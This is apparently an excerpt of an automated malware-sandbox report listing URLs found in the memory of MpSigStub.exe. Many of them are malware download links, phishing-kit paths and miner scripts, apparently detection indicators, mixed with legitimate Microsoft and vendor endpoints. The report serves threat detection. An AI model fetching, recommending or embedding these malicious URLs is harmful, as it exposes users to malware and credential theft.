        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://tr.im/1azmq)
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: https://track.fourtiz.com
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: https://tradingdashboards.com/
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: https://trafffi.ru/123?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: https://trafffi.ru/aws?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: https://trafffi.ru/shook?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: https://trafffi.ru/strik?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: https://traffking.ru/123?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: https://traffking.ru/aws?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: https://traffking.ru/shook?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: https://traffking.ru/strik?utm_term=
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh/yyaum/svchost.sh
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: https://trex-miner.com
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://tubestore.com.br/wp-content/p_bn/
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: https://tweetperks.com/lbim8w/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://twitter.com/eduClient
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://u.lewd.se/
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://u.nu/920yx
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://u.nu/e6b2i
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://u.nu/edc63
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: https://u6882561.ct.sendgrid.net/wf/click?upn=o3yy7nxymwp5cpvqnxo3xb8sbgrdkj8vj
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://u6947877.ct.sendgrid.net/wf/click?upn=aum5tbbw0s-2boddc9wvl76ffmwkftnihk7jwmiyskchpxyq1lorjb
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://uaeub.com/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: https://ufile.io/xjsrzal2
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: https://uis.public360online.com:443/biz/v2-pbr/docprod/templates/_uis%20moteinnkalling_referat.docx
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: https://ulvis.net/ujt
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates1.cp.wd.microsoft.us/WdCpSrvc.asmx
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates1.cp.wd.microsoft.us/wdcp.svc/bond/submitReport
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates1.cp.wd.microsoft.us/wdcp.svc/submitReport
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates2.cp.wd.microsoft.us/WdCpSrvc.asmx
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates2.cp.wd.microsoft.us/wdcp.svc/bond/submitReport
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates2.cp.wd.microsoft.us/wdcp.svc/submitReport
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates4.cp.wd.microsoft.us/WdCpSrvc.asmx
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates4.cp.wd.microsoft.us/wdcp.svc/bond/submitReport
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: https://unitedstates4.cp.wd.microsoft.us/wdcp.svc/submitReport
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://updatesdomainn.ml/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://updatesdomainn.ml/post.php
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: https://upload.cat/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://uploadvirus.com/uploads/
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: https://upt.fastsearch.me/
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: https://upurl.me/m7oiv
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://upurl.me/vvkzd
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://urbanhomefitness.com/file/excelzz/index.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: https://uringvermi.at/3/zet.dll
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: https://utilities.pcpitstop.com
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://vaqww.dyndns.dk/tolly5/
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: https://vaqww.dyndns.dk/tolly5/next.php
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://victoriaparkmazda-my.sharepoint.com/personal/ann_victoriaparkmazda_co_uk/_layouts/15/guestac
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: https://vieeewen.org/ddy/next.php
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: https://vieeewen.org/tgg/next.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://viro.mleydier.fr/noauth
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://vm.jt-voicem.club/?e=ckoonce
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://vm.jt-voicem.club/?e=ljeffcoat
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://vmnames.ssvoipsx.xyz/?e=%25
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://vmnapi.net/vmap/1.0/yhs/ms/yhs/?vmimp=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://vn.pr-nijim.xyz/?e=soumu
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://voice.vm-business.online/?e=jscott
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://voicemailss.hozoimn.xyz/?e=twfyawx5bi5kywvja2vslw1peebnyxjhdghvbkvszwn0cmljlmnvbq==
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://voipses.eononass.xyz/?e=%25
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://voipss.snonames.xyz/?e=%25
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://vooydvclhlqukhdvrsxe.com/tx.dll
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://voyya.com.mx/wp-content/themes/Divi/incl(
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://vr2oq.csb.app/
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: https://vsit.site/
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: https://vsit.site/4a8gk
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: https://vsit.site/ghqec
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: https://vsit.site/xndcx
        Source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmpString found in binary or memory: https://vtsamples.commondatastorage.googleapis.com/
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: https://wac.edgecastcdn.net/800952/5b595c13-aea5-4a6c-a099-d29c4678f6f2-api/gcbs
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: https://wac.edgecastcdn.net/800952/5b595c13-aea5-4a6c-a099-d29c4678f6f2-api/gccs
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://wacochamber.com/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://we.tl/t-ccUfUrQOhF
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: https://web.certicamara.com/marco-legal0Z
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://webmailx.space/ml/ama/4/excel/log.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://world-wwt.com/wp-admin/css/colors/coffee/reportexcelnew.php
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://ws.onehub.com/files/7w1372el
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://www-cdn.getwebcake.com/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://www.4shared.com/download/pJhaizQgba/wd11.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.4shared.com/web/directdownload/plcok719ce/hhnjnm.d9cc6b8210cf7f938818851
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.admos-gleitlager.de/feed/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.advokathuset.dk/auktioner/tvangsauktioner/saadan-koeber-du-paa-tvangsauktion
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: https://www.aec.com.my/aec_5.5/public/ph/h/page.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.anca-aste.it/uploads/form/boeing_spe_leos_logo.jpg
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://www.anf.es/AC/ACTAS/789230
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://www.anf.es/AC/ANFServerCA.crl0
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://www.anf.es/address/)1(0&
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://www.anthonyshandyman.com/irn/toolzlord.php
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpString found in binary or memory: https://www.apple.com/appleca/0
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.astedams.it/uploads/frame/61.dotm
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.astedams.it/uploads/template/17.dotm
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.augenta.com/site/xmlrpc.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.autopfand24.de/pfandhaus-in-meiner-naehe/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://www.bancanetempresarial.banamex
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://www.bitly.com/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://www.bitly.com/ad
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.bitly.com/bug41
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://www.bizsonet.com/wp-admin/js/jquery
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.botanicinnovations.com/wp-admin/admin-ajax.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.brawnmediany.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.cactusthebrand.com/xmlrpc.php
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://www.cipnet.cl/wp-content/godd/godaddy-rd18/next.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.coastalbridgeadvisors.com
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: https://www.cogmobile.com/next1.php
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://www.coinblind.com/lib/coinblind_beta.js
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.creamery201.com/
        Source: MpSigStub.exe, 00000023.00000003.18286537046.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.dfib.net/calc.exe
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: https://www.digicert.com/CPS0
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://www.doganturan.av.tr/wp-admin/alu/reportdhlnew2.php
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://www.doganturan.av.tr/wp-admin/bigi/reportdhlnew2.php
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/s/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/s/dmprbq9mxwylpht/zs437zfig68f.doc?dl=1
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/s/foughx315flj51u/worddata.dotm?dl=1
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/s/jxfyg8a6oj13z7i/factuur%20006643-89845.zip
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.dropbox.com/s/r9xrl3meju6lr19/payment_advice.uue?dl=1)
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://www.e-gold.com
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://www.e-gold.com/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: https://www.e-gold.com/acct/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://www.e-gold.com/acct/accountinfo.asp
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://www.e-gold.com/acct/ai.asp?c=AS
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://www.e-gold.com/acct/verify.asp
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://www.e-gold.com/acct/verify.asp&BAction=
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://www.econoticias.com.bo/aa/excel.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://www.econoticias.com.bo/bb/excel.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://www.econoticias.com.bo/cc/excel.php
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: https://www.elcom.admin.ch
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://www.emergencydentistlondonpro.co.uk/hddu2vgb7muait.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.escrowprotects.com/share
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://www.exploit-db.com/exploits/39719/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://www.fabianiarte.com/uploads/imgup/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: https://www.fastsupport.com
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://www.fastsupport.com/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://www.finance-portal.basf.net/portal
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://www.flexdirect.adp.com/client/login.aspx
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: https://www.formtools.com/f/micr0soft0ffice365mail
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.fotoideaymedia.es/wp-content/themes/fotoideaymedia2017/css/reset.css
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://www.freecontent.bid./cpcu.js
        Source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmpString found in binary or memory: https://www.google-analytics.com/j/collect.
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://www.google.com
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: https://www.google.com.tr/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: https://www.google.com/
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: https://www.google.com/accounts/servicelogin
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://www.gottalife.net/wp-content/plugins/seo_index/evt8tkbsidbqf.php
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://www.gqtoronto.com/live/excelzz/index.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://www.gynfit2019.com.br/fotos.jpg
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://www.hashing.win/scripts/min.js
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://www.hashing.win/t5s0.js
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://www.horizon-sun.com/po/mailbox/rectify/sys-admin-9-0-4-7/repair-00-4/1159.php
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://www.icq.com/people/
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: https://www.ijsiodjfo.ml/index.php?user=
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://www.ijtra.com/pear/docs/structures_graph/docs/html/media/tito/po.htm
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://www.instagram.com/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://www.kbtseafood.com/wp-content/uploads/2019/07/JTGUJRDPX.res
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://www.listrikindo.com/templates/vinye/wp-content/themes/jamo/order1.doc
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: https://www.maan2u.com/alls.txt
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://www.managuytakayama.com/purchases
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://www.marriott.com
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://www.miracleworkstudios.com/wp-content/uploads/2019/12/app/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://www.monconcept-renovation.fr/wp-admin/network/msci.exe
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://www.moverandpackermvp.com/hindustan/scan/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.nachhilfe-unterricht.com/wp-content/cache/autoptimize/css/autoptimize_018281502668e27604
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: https://www.ne-ba.org/files/gallery/images/bae_ecs_epm.jpg
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://www.nextrecruitment.ro//pdd/sfexpress/index.php?email=hiroyuki.ume.zh
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: https://www.notamuzikaletleri.com/19.gif
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: https://www.notion.so/ce3baa2cd5ec4f4eab00575f5ae423e8
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://www.oratoriostsurukyo.com.br/arquivos/teste.hta
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://www.palmtipsheet.com/wp-content/calc1.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.pamelamann.co.za/1/shola/doc/purchase.doc
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://www.paypal.com
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: https://www.piriform.com/inapp/installerofferpage
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.pmc-services.de
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://www.protectalaskasfuture.com/wp-content/upgrade/new.php
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: https://www.realvnc.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://www.sanlorenzoyacht.com/newsl/uploads/docs/43.dotm
